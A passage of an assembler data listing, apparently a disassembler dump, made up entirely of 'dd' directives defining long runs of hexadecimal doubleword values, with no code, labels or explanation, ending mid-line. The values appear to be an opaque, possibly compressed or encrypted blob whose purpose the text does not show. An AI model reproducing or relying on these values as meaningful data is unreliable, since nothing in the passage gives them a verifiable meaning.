dd 4180EB94h, 0D7473F15h, 0F200319Ah, 0D9325228h, 3091072Ah dd 0D3D1592Eh, 0C4601227h, 4926A50h, 4C0B0E46h, 8638044h dd 6C806D3Fh, 67005FC8h, 3302DADBh, 955701h, 61B5523Ch dd 21ADA80Ah, 69005673h, 664075FDh, 0EA469Bh, 6C0A7F14h dd 0BE49D4A8h, 154F1B00h, 0ABC956A7h, 806F0365h, 0CE31C20Fh dd 0D80134B9h, 79007E84h, 5067738Dh, 67E9DE76h, 0D029B051h dd 69726820h, 0D212471Eh, 0BC2A409Dh, 6303AFECh, 0DB2C0B20h dd 2EBEE0D7h, 0A71000C1h, 0C6216A19h, 0BC019563h, 0ECE99745h dd 7EF016EEh, 8960D4F0h, 741FE83Eh, 3EA429F2h, 6148DE19h dd 0C49FF00Dh, 325AAF02h, 0E09E11B7h, 7CA4C1Eh, 57AE0621h dd 89FBB1DEh, 41BF60h, 0BE7F2874h, 3354A65Dh, 48084DE3h dd 0F8AA212Eh, 90AD7E00h, 0F0938FDh, 0DA82E0CAh, 5F07200h dd 81C742D9h, 89D3B860h, 8761E0F3h, 5FE00135h, 252A52A4h dd 0B4BB0018h, 0A7451424h, 610CA07Fh, 0C01130ACh, 0D5F9200h dd 1A8904F4h, 0D8D90748h, 40A0FF3Eh, 0BB617EF3h, 9B0EAF04h dd 18C0852Eh, 1C9014B1h, 92B2D7CCh, 2B22006Bh, 0BA3EFFF3h dd 0E800EA7Bh, 0F9E22DECh, 3829270Ah, 7600FC7Ch, 0FA4997C6h dd 510081D3h, 30E52F15h, 58B1681Dh, 6F3F7425h, 21C61Eh dd 0DC92E133h, 47010E86h, 4B566143h, 0BE8353Ch, 0A8AD00AEh dd 0A50324D7h, 4C298799h, 0D05504B3h, 3900F0A3h, 0EA6C1079h dd 26E6AE7h, 5452533Fh, 50601A85h, 161E37FEh, 6B0F385Ah dd 80150E2Fh, 6179D132h, 2B39006Ah, 1FEA1316h, 0FE006017h dd 0D266624Ch, 745611A4h, 611502F5h, 6A5A2399h, 5C614F42h dd 0B310F039h, 78480E00h, 6F313850h, 14090095h, 87C50C7Eh dd 5206C9EEh, 0A2BFE984h, 0FE6B00B8h, 50F47BE4h, 0B8391DB0h dd 287A806Eh, 91E981F3h, 0E7933D0Bh, 3162F09Fh, 111AC428h dd 8D1233E4h, 896B8010h, 4F284138h, 11991232h, 44EC0815h dd 2C45D319h, 2988EF31h, 50B84395h, 2A446828h, 0D414A041h dd 18CA8B51h, 22FB9422h, 3822177Dh, 22482456h, 970C12A4h dd 5444CD29h, 842284BCh, 8E542FEh, 3836E828h, 44FC50D0h dd 328431F6h, 0E429EE1Fh, 0F90DA0A0h, 0DF00E679h, 56415740h dd 701DB780h, 0A8AF0042h, 9645E99Fh, 0D47E1318h, 76BBE300h dd 56D9545Fh, 35CE003Fh, 95A9B0C2h, 40003AB2h, 6F9D8D2Ch dd 768645h, 0C268B5C5h, 2F5AC13Fh, 2A22BC1Dh, 0E9B78AC0h dd 438DCA7h, 0A1BB75C0h, 55BDC040h, 0C500A29Ch, 93162AB7h dd 8660B3h, 6D851301h, 4579B958h, 948C3Ah, 97257040h, 2EE2822h dd 3CCF2EC4h, 2C409E02h, 0A801E2A5h, 0FC849881h, 1EF015C5h dd 0EF533E48h, 0D6BFDD00h, 944FA4E2h, 15F4AE00h, 28BC6513h dd 6C240F16h, 64E3A953h, 9AA04ADBh, 0FB0050BAh, 0FEE11FE5h dd 28BB5CAh, 18D322EBh, 0C040405Ch, 0F5041C5Ah, 6491D52Eh dd 73F01BEh, 0D8C4E554h, 0FA0110D3h, 6C3F8340h, 0AFF87666h dd 0DB4900FCh, 98E83011h, 2F2502Dh, 3540EB04h, 23EC035Eh dd 1509033h, 3D78CD98h, 28299C00h, 34915AF5h, 3FD1F05Eh dd 2500C886h, 3F1C6664h, 55390570h, 779600FBh, 0F7FEED49h dd 0E47B0797h, 0E760B8A6h, 0FAC0004Ch, 76770DAEh, 0F0D96E00h dd 50E2CECBh, 23A200DFh, 435F932Fh, 7C03C4DBh, 5ED171D2h dd 0EA190012h, 3B8B9D39h, 580B48E0h, 802134FCh, 0EF7790FDh dd 3EA600C4h, 459CD7F4h, 52005F40h, 0F36AE424h, 4CA1BD09h dd 0EF005091h, 0E5119273h, 7B1DF0CCh, 0B700B370h, 556B1D28h dd 0B95C0047h, 22D240CDh, 0AC003390h, 28FBA37Ah, 160335h dd 65CB1410h, 2DE21E44h, 0A8A5E900h, 4F74D7A3h, 88BE0EB3h dd 0E325B57Bh, 4D4CC096h, 5A4804DEh, 0EBD0040h, 1CF7867Eh dd 0A3420097h, 0B27ACA2h, 9A00E401h, 63C187EAh, 0FAA16536h dd 77670EBBh, 64E0A529h, 8D153E0Ah, 0F119100h, 9D36AFDCh dd 10ED00A3h, 76BE8C03h, 1B0E0B98h, 8AC3D350h, 8038DCB2h dd 0CAADD881h, 12E5BD87h, 4E13AA5Bh, 942D78Ch, 6445E33Fh dd 1121301h, 4820FA79h, 5A31CF9h, 0D75140CDh, 5F8C5682h dd 79F7461Dh, 68118D80h, 585DEA85h, 10001486h, 9DD55F05h dd 8490F73Ah, 1E6AFE00h, 8DB23155h, 3F0F07AFh, 20F918F6h dd 0AE0D9EC1h, 0FA606CF8h, 3E237F98h, 5C5448B2h, 0BE5C0400h dd 623B13DFh, 6B437100h, 57DDF538h, 736A00B0h, 0C3FE7CB3h dd 2D24A117h dd 6100743Ah, 8F7DB4AEh, 48900752h, 50C9795Ch, 0BD13C514h dd 2BC23300h, 68F53969h, 67FB0158h, 3DBCA2FFh, 99DF7085h dd 2B26DC07h, 0D6B305DFh, 0C5CA028h, 0CE6900F6h, 4B6EA64Fh dd 9E00C058h, 0DACB8864h, 0FD668Ch, 516BE5CDh, 2EDBA146h dd 5F473801h, 0B47CFFABh, 0F190A6C8h, 7FE820h, 8F56674Ah dd 0EF31C9D5h, 8D001C7Fh, 586295B0h, 1B4F40Eh, 0E48428C6h dd 0C0C48171h, 0A4006B0Fh, 83186FECh, 1FF20D3h, 534B1F62h dd 0F49E78BCh, 0E700F0F5h, 0E804CE3Bh, 4E746Bh, 0F6D3AB0Eh dd 36A939EFh, 983B8D00h, 5BFF323Ch, 0C35E1E6Ah, 442980BEh dd 92E0EDF0h, 21821800h, 3CD0D774h, 0AA035058h, 9A120719h dd 60C12DC9h, 0C620A039h, 0FF115600h, 265C90C7h, 0A4F450D5h dd 0A38600F5h, 0CB63E884h, 8900C902h, 6C3C52BBh, 905316h dd 1FE9252Dh, 0E4111344h, 27FE7F02h, 403C51D3h, 1DAD99ACh dd 846B3869h, 80C0105Ah, 0C431A999h, 48B6EC12h, 0A8F01407h dd 8DDCFC40h, 3388C104h, 0D4081817h, 0F000613Ah, 104984FAh dd 50C0E55Fh, 3DA988h, 195AF6CEh, 664B7638h, 0B7C1F00Eh dd 580A6099h, 226501h, 549D1DBEh, 26C46861h, 6625AAC0h dd 0FCE1B7h, 5F658E35h, 0E651BFDBh, 0AF1E4300h, 6E93253Bh dd 0F4F90084h, 8A442324h, 2C0B9130h, 4E36Ch, 0F521C924h dd 0A1AE0796h, 0DF6D4h, 0EC855C29h, 79CADD00h, 0EEA0644Fh dd 3D8100E1h, 0A50BD44Ch, 0CDB0F8D1h, 9CE20F00h, 0A23C92EDh dd 20A701F5h, 4C448502h, 3A1BCCD8h, 0EF18C800h, 0C83353Dh dd 0FB8402ADh, 0F66AC39Dh, 0E4DEB841h, 233BED3Ch, 350B74E4h dd 20361045h, 0EF2A761Ch, 20EE43h, 13FB7795h, 0C04D72BEh dd 78509004h, 0BC88A50Ah, 0B02512F1h, 9CB040BFh, 6FA10DE7h dd 0AA80B201h, 0FCDDE26Eh, 1032D050h, 394AE21Dh, 5D81E1D6h dd 4F55783Eh, 4C53E409h, 4D988F00h, 858AA612h, 0ECB077ADh dd 5E4E077Ah, 32E64A6Dh, 0C540ABF4h, 0D3001F05h, 3EDDB3C0h dd 0B0D412F9h, 5D0D00D4h, 0F0A2A80h, 0E7000867h, 0CC84459Ah dd 66A279h, 58F6FDA8h, 69A492A0h, 417C409h, 3CCC2010h dd 406C32C0h, 5300207Ah, 4CCEBA48h, 75E21Bh, 545D73BCh dd 0C84905Fh, 895B6E0Fh, 0F0196A01h, 0E4D2F900h, 70914121h dd 0FAF7EA44h, 0D7B51C6Ch, 6CA48Dh, 0F2FE3194h, 5D00CD96h dd 213ADF84h, 0CF9BE28h, 7DEC921Ch, 250AFDEAh, 0F02D1BB3h dd 170F9C04h, 702BA8D0h, 0BAC7E4Ch, 9A324604h, 1EA01D0Fh dd 0C13A6515h, 0A139A40Eh, 0B7E32089h, 28F17h, 691CCEFCh dd 0E6927C5Ah, 0C000C5F6h, 0BD8D0EFFh, 3354419h, 47A59560h dd 80C88640h, 0D42C277Fh, 3D99D2h, 368DDE78h, 7611A56Ah dd 79AD00B3h, 3DD01ECBh, 3E50109Bh, 0EC7205F7h, 0EEB74905h dd 0EA80C48Eh, 7D05238h, 5716E508h, 12FE6050h, 5AF03DE4h dd 0DCCCF904h, 10C74087h, 805E0680h, 671B3BD8h, 8F251A0Eh dd 0A754FE01h, 0C18AFCB2h, 64D24E03h, 0AA0AAFD5h, 4497401Fh dd 88E0E6h, 8799C908h, 3EAC8B81h, 83940900h, 0C0C8E41Eh dd 0D45D002Ah, 0FA3F0D55h, 20008F1Ch, 0B405EE19h, 723357h dd 0D691E65Ah, 38E54774h, 0AE43D01h, 2CF3FB63h, 0B310C847h dd 922BBE59h, 48C6739Ch, 0EE0B2005h, 0B081C153h, 60AAC830h dd 6D0E33CCh, 0E03A017Fh, 0EB2A179h, 58FC269Ch, 0AAE30078h dd 386A6D53h, 421DA500h, 24A9B203h, 945F03E9h, 0D2E0DD33h dd 957750C0h, 5CD3571Eh, 0BF32C900h, 0EF12B3h, 0F173052Dh dd 0A28E26CEh, 780C7158h, 3A0B2401h, 0DE2E7C5Fh, 1C90030h dd 31D137CAh, 34C29E96h, 0F900AAA8h, 0B5E4996Ah, 1EC7E266h dd 0C7021B1Ah, 0F31924DFh, 40DD2168h, 713315ACh, 0D0F2C834h dd 79AA9A09h, 76880D5h, 3F84592Eh, 4C80E3ECh, 0D8BF223Bh dd 7300B7BAh, 0A4099A4Eh, 690D2Eh, 79ED322Fh, 239B07AFh dd 8C28ACA0h, 82488D72h, 5E720274h, 581CB4D1h, 0BE57000Ch dd 1070313Eh, 0C6072CF1h, 5C7D44BFh, 55A4BC20h, 12B70464h dd 0E0AAD78Ah, 56258B64h, 91800143h, 3560E9E6h, 392000EFh dd 0B91C13CAh, 0BF00163Bh, 93299977h, 3AF51054h, 0E5800556h dd 0B1415C81h, 48B29FF4h, 6B8D0B07h, 0C7D5D0A3h, 65CF8804h dd 0B3130CC0h, 0CCA118E0h, 3A2130C3h, 7A0040E6h, 538828CDh dd 1586E49h, 0D9AEA365h, 0FC255E8Bh, 9D003261h, 549A5504h dd 5C66651Fh, 8301BC4Ch, 8A90581Ah, 6BF02847h, 0BAF0A119h dd 0E020D546h, 2810009h, 0AE11D74Bh, 3F0180D3h, 8F955AB8h dd 89E892FFh, 2AF8007Bh, 5C3DA773h, 150141E9h, 0C7EAF26Fh dd 0EEC02B4Fh, 5DBC0045h, 0DDAC3A7h, 0EF00B036h, 0E2140FC8h dd 5C0190h, 0E3223C57h, 0AE5053F8h, 0A494E900h, 4AEE71EDh dd 926C0785h, 7BF344B9h, 58542C40h, 0CABA3B1Dh, 3794549h dd 808B0A30h, 57C939h, 0B7E1CD80h, 8C17603h, 52A0E313h dd 327A3600h, 0F9CB6Ah, 0FD90F32Ah, 39131566h, 5F8D8F00h dd 876FCF1h, 1EF5E896h, 0C0897A47h, 2532056Dh, 0D600B8E4h dd 9C33584Eh, 876B67h, 78243827h, 0E9BA97CBh, 0B40035F4h dd 0F9521069h, 0B81E2CEh, 509BEDB3h, 5E2C5480h, 0AF039723h dd 7C284D34h, 0A33BA05Dh, 89EA51h, 855F262Ch, 0C2C814FDh dd 10598800h, 4DD5CCF3h, 0D286005Ah, 0D0878404h, 76092414h dd 88E96EFBh, 6007B0ADh, 90108AF0h, 847718h, 1C0F0475h dd 0EB15A2C6h, 3202674Ah, 0E03B36CCh, 17B106B4h, 46C1E58h dd 0E07CC5C1h, 0AA3E3D04h, 0BD8F0794h, 9C70A765h, 0FE31C85Ah dd 4A2507F4h, 2715F75Bh, 0E5F800D1h, 0D5004723h, 0B581CE1Ch dd 0B071907Bh, 0E7DF0E47h, 0BCC06B52h, 0F401BAB7h, 4C06F900h dd 29496299h, 1D7901E4h, 181A8F7Eh, 450CE817h, 110D4003h dd 0BC701BEAh, 2BDA4780h, 56821EAFh, 4C918023h, 527A6386h dd 0FF8CDE07h, 0A155516Ch, 4638A0h, 17508873h, 2244F843h dd 0E5C44B00h, 0C74D1FD8h, 8AE80066h, 2614D96Fh, 30037AE0h dd 6DE1241h, 6C54C03Eh, 66ED2CF7h, 0CA2C0055h, 816DE91Eh dd 0A4EFEB3Ah, 0FE804822h, 6BED275Fh, 0F8890933h, 8C64104Ch dd 383BB820h, 1D127B7Fh, 0F304003Fh, 0BDC8D634h, 49EF1400h dd 97F1115Ch, 58F52CA8h, 3B1C09E4h, 0F013FF07h, 1F36BA34h dd 80E3B73Ch, 2AF77586h, 9D7959h, 54BB9240h, 33C5D99Ch dd 0B03DCA78h, 0F65F8090h, 9AF69AAh, 0B3EE023Eh, 724982DCh dd 83049085h, 9CDA9442h, 95B8A2E0h, 81F69D25h, 1A0F72F0h dd 0E6F9F4h, 0EB46C4F0h, 0E99B6D2Dh, 5C3C1201h, 1F7268BEh dd 38621130h, 6A0185A2h, 409A035Dh, 0B418811Ch, 0F6EE66CBh dd 261030h, 32069721h, 39DF1B71h, 0D8AFC001h, 6D04ACA1h dd 0DC00D828h, 0D0479F3Fh, 0CF3A0111h, 381500D1h, 0CD5C14C7h dd 0C49FA3F1h, 0E098C8D3h, 6FE5189Ch, 0F14166F7h, 606D0775h dd 0B31DAAF0h, 65C02B23h, 88E1CF1Bh, 8ECE07B6h, 302250EFh dd 30164B27h, 0FC68C560h, 7EE534h, 0E4655258h, 7193C3C9h dd 0F008EECh, 0DCCFD0F8h, 2CA3FA40h, 38CC2D44h, 83535800h dd 138A7FAAh, 8051523Eh, 2621D67Bh, 0AE7476Bh, 58E4B742h dd 693400C4h, 0BA3C82DEh, 8B570084h, 1EA0D0EFh, 783B2888h dd 0B32E0114h, 1A6095EEh, 784BFC0h, 9010331Dh, 74E490DEh dd 17003829h, 0A094ADA6h, 0E63C986Fh, 500AF4C1h, 3BF9085h dd 220B6EEh, 691F06DFh dd 53C2490Fh, 0A3CF6590h, 98837AF8h, 0FE3A8Ah, 0ACB2E5Dh dd 2388534Dh, 0C5584470h, 8F9A0071h, 971F11D8h, 0DA5E00BDh dd 6BDE5748h, 17006E27h, 367896FBh, 1E3C54CFh, 0C003282Fh dd 32700D93h, 0E7008660h, 0BC7EF96Eh, 51949CACh, 730E49Ah dd 15F0A5h, 8EA4CF64h, 529FA79Bh, 0B5C73E0Bh, 0A1C70020h dd 38711A0Ah, 7200B362h, 0BC633FD3h, 4E0BE4D1h, 4128096Ch dd 28406BB0h, 0B38D14h, 0C6D59D30h, 98C33401h, 0F8EBBD28h dd 70937B00h, 0B65E631Ch, 0E02E4A6h, 9F77BE8Ch, 19F638A7h dd 11323410h, 0E225B500h, 0B65AD770h, 919701C3h, 0F671D89h dd 0ABA440F4h, 0CC01C476h, 2508D40Ah, 0AB703C9Dh, 5F010014h dd 0CD8B032Ch, 4500C5D0h, 81A9BBCFh, 246713B4h, 0F00AEDh dd 0D64E83A4h, 0B900C6F3h, 0D1AE5E37h, 76B220E1h, 2A2C0086h dd 0C781B774h, 3D006C05h, 3FC5FA89h, 976AECh, 6F31AB24h dd 30B1D537h, 733B8B00h, 9FD9FF3h, 117B5C72h, 0D127110Eh dd 805A3A27h, 73F18F2Eh, 0B200D4E6h, 0C225CFB1h, 1523942h dd 55DAC063h, 7F3A81DDh, 22F0C480h, 2EFEA1h, 891ECEFAh dd 0D23D5FBFh, 8E59DA31h, 208753B3h, 6F766234h, 0DC9A4220h dd 0E4FD894Ah, 0B92C5F6Ah, 0E900D0ABh, 100B12DFh, 80910095h dd 6B0D35C9h, 0CA007CDAh, 2AB08905h, 1FAA68A2h, 40E29755h dd 69ABDE1h, 86004499h, 0D9BA59D3h, 0E0632F53h, 839F0014h dd 54D498EAh, 34008B47h, 94C1CD13h, 6A9EC7h, 63F6BAF7h dd 5902DBB8h, 6506C816h, 50D56802h, 0F5AEE0E2h, 918E00F3h dd 5916280Bh, 85063E36h, 388AF69Ch, 8FE4D0h, 0C3E1D0ABh dd 9D4CA7C0h, 74AE7800h, 6C9416D4h, 0A602002Ch, 358E5329h dd 2054DDD1h, 980225F0h, 6B51897Bh, 929BC013h, 8E961D0Fh dd 0DFF1C03Ch, 9EBBB70h, 0B2127B00h, 0E3E88A05h, 2CBD00B6h dd 2A0A866Ah, 1100CF6Eh, 0F05FF3E1h, 283641h, 49D4F1Ah dd 0C2F768D1h, 0E21D431Dh, 0EF8C7FC0h, 30D6AB22h, 6771E65Eh dd 0CF004C01h, 2AF4B82Bh, 2EDF6D33h, 0E8A3C74h, 976981AFh dd 605B6000h, 5D7BDA6Fh, 0A1041D77h, 65EBB65Ch, 20FBE6C7h dd 0BE1B352Ch, 8270026h, 9FC62E68h, 0B891D7CFh, 7D573900h dd 12A8200Fh, 0C04EEB0Ah, 81F3B470h, 375E1400h, 0F5FE3458h dd 0DFDA2432h, 11BD00ACh, 0CAE75994h, 0A52BB001h, 80F6CDD2h dd 1505D023h, 0A32243D9h, 0AF65005Ch, 0DAEFEA87h, 0ED3E00BCh dd 0E5CFDE6Dh, 0C3001F6Bh, 0C03DC80Ah, 25B86Fh, 4B0E2C6h dd 0B2781457h, 88AA920Bh, 0E9CC51Dh, 403EBEBDh, 0FB11DA1Ah dd 0E40A74A2h, 80A76EB7h, 947AFA00h, 0F4313254h, 0B4DD05DEh dd 8024E2F7h, 0DA9F8D8Ch, 69D3A900h, 7FE9D980h, 5F4D00D8h dd 7BF120EBh, 710048C9h, 6D9EAECDh, 0DE8B3Bh, 8910D611h dd 0EB558DA4h, 32CC8C00h, 0E2E9D07Bh, 0E6C000D9h, 0C21CB7E7h dd 9407AEB1h, 79ABE48h, 0A116A240h, 9F2D3FA5h, 0D4874300h dd 0B455C8E5h, 1300AAEAh, 892BFA95h, 50E9206Dh, 18C0AC98h dd 0F8C272B6h, 0F203030Fh, 5AB17F78h, 6284F859h, 45E40336h dd 77FCA92Eh, 31D01ACBh, 70004327h, 25625E5h, 124AE42Bh dd 0B9742ACh, 275620B8h, 76BF8501h, 0E960EA54h, 0BEEC004Dh dd 464CA90Bh, 8B0ED456h, 0C0FD0F14h, 381FF840h, 51AC0EBDh dd 2B40195Dh, 7C92913Dh, 9A5A9B1Dh, 40037312h, 0F0C52E63h dd 1D33A4E0h, 3D85C0A2h, 0DB64A609h, 665D6400h, 1F48A753h dd 4852C0F8h, 3043B0h, 849E618Dh, 0A7744DEDh, 0B4200C00h dd 0EA716F9Dh, 248B28Ah, 0E8B087D2h, 5040F5A4h, 0D1005D2Ch dd 54539415h, 0B76699h, 0ED4E71BBh, 8E9EB320h, 953B9A00h dd 0E97BAB28h, 988F2CACh, 66BC0224h, 9443C49Dh, 7448581h dd 3886FBA0h, 4F4C2FE4h, 8A405C2Eh, 34066819h, 593A7300h dd 24205D4Dh, 7FD80783h, 0A04BCEE7h, 0B8892FABh, 0BF1F1307h dd 47C16966h, 0EC40ADDCh, 1F580A9h, 5B73FC75h, 3C3E56D9h dd 14AD0000h, 24161B91h, 2E8B0778h, 0E17EEBAh, 0E27663E0h dd 723B4303h, 0D13E806Eh, 16F19749h, 4CC71F0Eh, 2FA0001Bh dd 691C5D65h, 76F28E03h, 0A008D3ACh, 23BE2Eh, 820E7795h dd 61940767h, 0BD6EEF00h, 0D8453AA2h, 0C4930044h, 4741D6BFh dd 6C0FC1C8h, 4094E14Ah, 0E665C28Ch, 25040A08h, 0F012EEh dd 2B734041h, 9BF2CBE8h, 0DE142D0Fh, 6A69C648h, 268F0021h dd 0E211C454h, 1C00FADDh, 0A904BD13h, 0B14568h, 49030A97h dd 5AD0446Eh, 0BF56D41Dh, 6947195Ch, 84108B73h, 0FCFA48A8h dd 0C8A93D50h, 36989180h, 0E4707D17h, 0CFBF7A00h, 0EF9D8799h dd 12D200F8h, 0F02D594Dh, 2E763D13h, 0E3B67800h, 632B5B08h dd 0B5F514D7h, 4F00C3F1h, 0FDCCC66Ah, 9348A0C2h, 40892E5Fh dd 0B6ECC100h, 5448666h, 8F75B4F0h, 14DCA682h, 3AC2C22h dd 0DA3C0885h, 982D873h, 0D470D7h, 0E5618348h, 981D9539h dd 0E2D0401h, 0C3C2D5A5h, 9C63FAF8h, 0C0A300A8h, 84251E3Dh dd 0A4DC8A0Eh, 2DC1DDD1h, 0C7FCD490h, 5140D4h, 0E6DA7B82h dd 719421Fh, 0C304A501h, 0F66FD327h, 7AD5C424h, 0C50C00DFh dd 8DE9EB60h, 720076B4h, 0DD916A1Ch, 25419D70h, 20615A82h dd 0CFB2DCDEh, 31D7BF00h, 170F8777h, 8FB03C8h, 0F29B1635h dd 807C0AC9h, 3DD55631h, 3378B69h, 3B1CD81Fh, 9398C1FEh dd 2E0AB2ACh, 0D89E15D6h, 3076DD00h, 98556FE8h, 0B25F2450h dd 2D3D0484h, 0DF098077h, 0D004BAD4h, 37B43B6Ah, 0ADE300EAh dd 0F04BA68Dh, 19348300h, 4195E7A9h, 5F6601F7h, 39C2D02Fh dd 104420AAh, 8998A309h, 0D28400C6h, 73AC2Ah, 0A06A5472h dd 4375B3AEh, 94A6342Ch, 306CEF9Eh, 0F63C1200h, 7407CF1Ah dd 5B3E00DFh, 0F0CE549Ah, 9F00F5DEh, 66F16176h, 3C97948h dd 260DB972h, 0AEE86C63h, 8600FACDh, 0C7B07793h, 73E429h dd 192779B7h, 0EE48CA84h, 217F4C92h, 0A92D4990h, 68648089h dd 3F84560h, 10B2F5CFh, 83F8B390h, 25008E7Bh, 0FD07C54h dd 3601B9h, 84E71770h, 6A4A5FD5h, 0EB5B0324h, 0A4025824h dd 548F39D3h, 0AEB350D0h, 0C00D4B8h, 13DCF6Ah, 7B1F77h dd 0ED3C5FADh, 0E8551B31h, 0EC5DB42Ah, 9D30F100h, 3F2B701Eh dd 0BA4A0766h, 0EC808BE7h, 0AC00D820h, 3C043ACFh, 12F18EC0h dd 0C0D30373h, 0EDAF9D78h, 0DB30B809h, 0D1348011h, 103F38h dd 6B787904h, 20F96A68h, 0E11D60B6h, 0EE302B41h, 95C4CFB8h dd 0BB031h, 81C2279Eh, 601C164Dh, 0DD56FB02h, 0E03CD72Eh dd 0E875C10h, 0FF724793h, 8C6191E0h, 0CE3CE1D3h, 34298977h dd 0CC58FCh, 7DB14EB7h, 8D07E9A2h, 0D683F400h, 25E70FFFh dd 0C2E60022h, 76F654A9h, 0BB091768h, 0B3D2CBh, 419CCD50h dd 4ECA1DE8h, 0DAAAC020h, 0BD8C4908h, 6F266B00h, 0E71CB6EDh dd 2BE452h, 1F45541Bh, 0FCCC91AAh, 0AF730100h, 60CD153Ah dd 0F9921094h, 342200C4h, 0A446097Bh, 1DB10039h, 2A3CA10Bh dd 610E3F5Eh, 0C0655A31h, 0C039D956h, 1BAD0092h, 5417B0C1h dd 1A035C8Bh, 79804BCh, 6A1290E3h, 0F2711E1Fh, 9EBD8056h dd 0EBF87BACh, 2C1EC3E8h, 0ABC0C120h, 50766B47h, 44870F94h dd 9DE04827h, 9218A1B7h, 683448h, 0B845F3A8h, 1380610h dd 0BD9A4D3Eh, 0CCB18949h, 0C00D795h, 0FDF194F6h, 5A8BBE77h dd 65378199h, 0B3943061h, 0D0A86A00h, 5D4C72B1h, 7E5B00C0h dd 2F3DED7Bh, 5800FD7Ch dd 601104Dh, 2815404Ah, 59B1A038h, 7A3B80A7h, 0C8741E80h dd 8EB7BBA4h, 801FA03Bh, 5955A152h, 0FB9B3Ah, 38CBCCF5h dd 0EA97612Bh, 7CA8E80Fh, 0E48BE24Bh, 0BBF44049h, 82409E96h dd 0A8F8D5CDh, 0B1166874h, 34A9A0Eh, 78DCAABDh, 7B9E1E6Eh dd 59F10099h, 285A8870h, 0B53C4500h, 275F0339h, 489D5C4Dh dd 0D32C2905h, 9C8E738h, 0C0F0043Bh, 0F2A77ECh, 0EEE33C97h dd 0C3A00332h, 0E6982EA0h, 5B604E7Ah, 5E354650h, 0AB81008Bh dd 0C8518F17h, 0FA0056F0h, 9439FFDEh, 1DF14134h, 2430F8C6h dd 0B92A0090h, 93DDB6E2h, 0FF008AFEh, 0D1749F6h, 7987F7B3h dd 0A1BB0029h, 0E9FA9CCAh, 0F40036C7h, 0B28A016h, 1D47E0D6h dd 80DBC235h, 0E581D4F7h, 0D725C17Dh, 0E050E0A2h, 0B7CA3E54h dd 4B13E100h, 7CE20640h, 0EA4A870Fh, 0A2F24396h, 0A927E064h dd 665101E9h, 68476F70h, 2DA020B1h, 9C907D7Eh, 0AD01AE00h dd 26E8BA80h, 0C21E2566h, 0BFB8C20h, 90044F3h, 0B02AB464h dd 1E86760Ah, 0C7D2E0DCh, 0B24359h, 3C75A874h, 0C21B4F01h dd 0A2E49D9Ah, 0BB3C092Fh, 278E7882h, 47008456h, 9EE68B76h dd 7DAB003Ch, 0D7DD38DAh, 1000A784h, 0A425ED86h, 0B82D0Dh dd 0DC979C36h, 780432B0h, 22836002h, 60CBBA52h, 1E0A4FDCh dd 0C051B446h, 6F93E3A4h, 31CA091h, 0F2C07DC0h, 0D6439EE0h dd 29941DC2h, 23003BCDh, 9350A03Eh, 8C0C65CBh, 50B65D61h dd 5F730B58h, 0D0897D1Eh, 30078D3h, 2286CC7Eh, 9E4000F3h dd 9D781E58h, 0B7015A54h, 8F33D6FCh, 7C2898EDh, 2556D802h dd 4460F76Eh, 306CB3Ah, 0C11960A4h, 0FEFA00CEh, 40ED9B7Eh dd 7F73E18Eh, 17FF691Fh, 1A487440h, 5B2AEEh, 3D9F92E0h dd 8BFDD4ADh, 0A31BD925h, 0D0A7A1FCh, 0BC92E4h, 0ADBBCCDFh dd 310D8287h, 723D3338h, 0CA3B9B12h, 0C7D37007h, 985ED10h dd 5E342EADh, 0EA8F0140h, 0E930CA3Eh, 6A596093h, 20998E30h dd 252ABB63h, 9CE097B3h, 1200DCC8h, 9A5F21E5h, 3409D23h dd 95A0C680h, 0F5D0EFA3h, 5A5C5E37h, 30AF0CA4h, 2E5010F4h dd 1C2F9C3Ah, 207580C4h, 0A63CC1D9h, 1D10C0Bh, 60E00E4Dh dd 33F43128h, 0EC550BC0h, 5D00A53Eh, 9F4A6F46h, 2877FC00h dd 0F5FD4460h, 9CE501C1h, 0DA82DBB8h, 5F92D8B4h, 0D0BE6A00h dd 2B2F8875h, 0CE9D1DAAh, 3BFCC7D7h, 6033C1D3h, 323DEC2Dh dd 9F142900h, 0F3B4F097h, 59AA0088h, 0BD7158EAh, 913FEF19h dd 0E3A8807Ah, 247BC085h, 58909516h, 6C092C7Ch, 0C1D00611h dd 80FE8280h, 4B2AF2D4h, 1058006Eh, 83C14C77h, 79002829h dd 0F7946309h, 0B04B05B1h, 52D800C4h, 0ACB24E2Ch, 3A00980Bh dd 0F8662B43h, 43D5E6Eh, 4F6716D2h, 2374B441h, 8C9E0403h dd 0EA8A1315h, 0FCF470F0h, 5D170027h, 0A6EEA3Ch, 0E5776AC4h dd 351A6912h, 8F643081h, 4A78D760h, 0D948C368h, 6E3285D8h dd 194264Dh, 3E50DD82h, 3C747D17h, 0CB9B00DFh, 21042063h dd 0D9003BF2h, 5CDDCFBEh, 7CC47h, 0DA2D8935h, 439F011h dd 6EB7E609h, 4CD964h, 0A6FD1CFAh, 384A9BF6h, 240394CBh dd 0E1747649h, 0C3AFBDA0h, 586FB216h, 3594A0h, 3B9879E3h dd 427A3711h, 6F4FA02Ch, 0F0846700h, 305E1573h, 0C3D9D526h dd 600195Ah, 541341B5h, 77AE9Bh, 7628FBF3h, 0CFDEB747h dd 572E6979h, 43004024h, 32D813F7h, 784800F6h, 0B7EDE93h dd 7F006CB3h, 6D8BC9C7h, 6E47DFh, 0A21D13D5h, 90CF04F2h dd 0B6996700h, 551FAD72h, 8A0100FDh, 3A4D227Bh, 700C806Eh dd 8812283Eh, 3BBE644h, 0A84A322Fh, 8990DCF9h, 5A063F6Ch dd 1F5160C5h, 0B7EF0F48h, 18000F30h, 1ADE289Ch, 54444F4h dd 0B1020120h, 0BCFDD7B9h, 0DC88801Bh, 0C9446528h, 17990CA2h dd 32181898h, 298FF905h, 0ABC08991h, 14E455Ah, 2895C046h dd 0CCE0D87Dh, 0A230F9D3h, 6A53F0B2h, 0CE3B1C16h, 8052DDC2h dd 3181F7D1h, 8A009D28h, 1F9E6112h, 0EA8D9419h, 632700E3h dd 0E45A2DA3h, 3B7E37EAh, 0D568A400h, 0BE32953Dh, 72AD0035h dd 22977FD6h, 8AE01E31h, 1DDD5714h, 11190A98h, 0E401C877h dd 132F0102h, 0B704D4h, 0C9E125A8h, 7EBFF88Ah, 10999501h dd 0F287B83Fh, 0EADFB1D8h, 3CD60073h, 8F5B9280h, 6E074477h dd 1B232C96h, 0BFE16600h, 0A73D0EE5h, 0A5E0BE7Ch, 2BF806B1h dd 1958D700h, 737F0E38h, 1690001Dh, 8E71E459h, 0B40057FDh dd 97DDE103h, 1072DA7h, 0FCA6F1EEh, 700B9A81h, 2100D223h dd 99740F10h, 1BF9B2Bh, 7043579Fh, 703681DAh, 1028A0C8h dd 